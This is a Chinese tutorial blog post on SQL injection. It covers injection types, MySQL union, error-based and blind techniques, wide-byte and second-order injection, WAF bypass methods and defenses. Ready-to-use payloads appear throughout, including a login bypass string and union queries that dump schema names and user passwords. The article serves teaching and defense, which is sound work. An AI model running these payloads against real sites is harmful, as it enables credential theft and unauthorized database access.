浅谈自己关于SQL注入的认识
字数 1889 2025-08-15 21:31:56
SQL注入全面解析与防御指南
一、SQL注入基础概念
1.1 SQL注入定义与原理
SQL注入是一种攻击技术,当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
关键点:
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
- 是否回显决定注入难度
1.2 SQL注入的危害
- 猜解后台数据库:盗取网站的敏感信息
- 绕过认证:例如绕过验证登陆网站后台
- 借助数据库的存储过程进行提权等操作
- 种马(如一句话木马)
- 导致拒绝服务(DoS)
示例:万能密码绕过
SELECT * FROM admin WHERE Username='user' and Password='pass'
-- 攻击者输入: 'or '1'='1
二、SQL注入分类
2.1 根据请求方式分类
- GET方式:常出现在搜索框或者文章的位置
- POST方式:常出现在表单的位置
2.2 根据参数类型分类
- 数字型:
select * from users where id=1 - 字符型:
select * from users where id='1'
2.3 根据注入方法分类
2.3.1 联合注入
?id=-1' union select 1,2,database() --+
关键点:
- 需要先判断列数
- 通过union *列查询
- 前面查询的值要为假,否则回显位会被占用
2.3.2 堆叠注入
select 1,2,3;select * from test;
特点: 通过分号将两个查询语句分开
2.3.3 SQL盲注
- 基于布尔的SQL盲注
?id=1' and 1=1 --+
- 基于时间的SQL盲注
?id=1' if(length(datbase())=8,sleep(3),1) --+
- 基于报错的SQL盲注
?id=1' and updatexml(1,concat('^',@@version,'^'),1) --+
2.3.4 其他注入方式
- 通过用户输入的表单域注入
- 通过cookie注入
- 基于HTTP头部信息的注入
- 二次注入
- DNSlog注入
- 宽字节注入
2.4 根据数据库分类
- MySQL数据库注入
- ACCESS数据库注入
- MSSQL数据库注入
- ORACLE数据库注入
- 其他数据库的注入
三、MySQL注入核心技术
3.1 MySQL常用函数
user() -- 返回当前使用数据库的用户
version() -- 返回当前数据库的版本
database() -- 返回当前使用的数据库
group_concat() -- 多行数据拼接至一行显示+group_by根据分组排序
concat_ws() -- 把不同列的数据以特定字符隔开
count() -- 计数函数
rand() -- 产生一个随机数
3.2 MySQL注释符
#--+/* */
3.3 联合注入流程
-
判断是否存在注入并判断闭合方式
- 通过
\、and 1=1、and 1=2、and sleep(3)等判断 - 常见闭合方式:
'、)、))等
- 通过
-
判断查询列数
order by +数字
-- 替代方法:group by 或 union select 1,2,3,4,5,6
- 获取数据库信息
union select 1,2,3
-- 收集信息:database(),user(),version()
- 查询数据库表
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
- 查询表结构
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
- 查询列信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
- 查询具体数据
?id=-1' union select 1,2,group_concat(username,"__",password) from security.users --+
3.4 报错注入技术
3.4.1 floor报错注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#
3.4.2 extractvalue()函数
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3.4.3 updatexml()函数
?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+
3.5 盲注技术
3.5.1 布尔盲注
and length(database())=8 -- 判断数据库长度
and substr((select database()),1,1)='s' -- 判断数据库名字
3.5.2 时间盲注
and if(length(database())=8,sleep(3),1) -- 判断数据库长度
and if(substr((select database()),1,1)='s',sleep(3),1) -- 判断数据库名字
3.6 宽字节注入
原理:
MySQL连接错误配置为:set character_set_client=gbk,引发编码转换导致的注入漏洞。
示例:
输入%df%27时:
- 单引号转义变为
%df%5c%27 %df%5c在GBK编码中转换为汉字"運"- 单引号逃逸出来,造成注入漏洞
3.7 二次注入
原理:
- 插入恶意数据时进行了转义处理,但写入数据库时保留了原数据
- 查询时直接从数据库取出恶意数据,没有进一步检验
3.8 DNSlog注入
原理:
通过concat语句将查询结果与域名拼接,发起DNS查询,通过DNS日志获取数据。
必要条件:
secure_file_priv特性允许导出LOAD_FILE()函数权限
四、SQL注入绕过技术
4.1 WAF绕过方法
-
架构层绕过
- 找到web真实IP
- 利用内部服务间访问
- 利用SSRF漏洞
-
资源限制角度绕过
- 使用POST请求发送大量数据
- 使WAF无法检测所有数据
-
协议层面绕过
- GET换为POST
- 修改Content-Type格式
- 参数污染
-
规则层面绕过
- 等价函数替换
- 等价符号替换
- 特殊符号使用
- 缓冲区溢出
- 编码绕过(utf,base64,url,unicode)
- 大小写绕过
- 双写绕过
- 内联注释
- 替代空格
五、防御建议
-
输入验证与过滤
- 使用参数化查询
- 对输入进行严格过滤
- 使用白名单验证
-
最小权限原则
- 数据库账户使用最小必要权限
- 限制数据库函数权限
-
错误处理
- 自定义错误页面
- 避免泄露数据库信息
-
安全配置
- 正确设置数据库编码
- 配置secure_file_priv
- 使用WAF防护
-
代码审计
- 定期进行代码安全审计
- 使用自动化工具扫描漏洞
-
持续教育
- 开发人员安全培训
- 安全意识教育
六、总结
SQL注入是Web安全中最常见也最危险的漏洞之一。通过本文的全面解析,我们了解了SQL注入的各种类型、技术实现和绕过方法,同时也掌握了相应的防御策略。安全之路在于不骄不躁,虚心的学习。请勿通过学习文章之后对真实网站进行测试,应将知识用于合法合规的安全研究和防御工作中。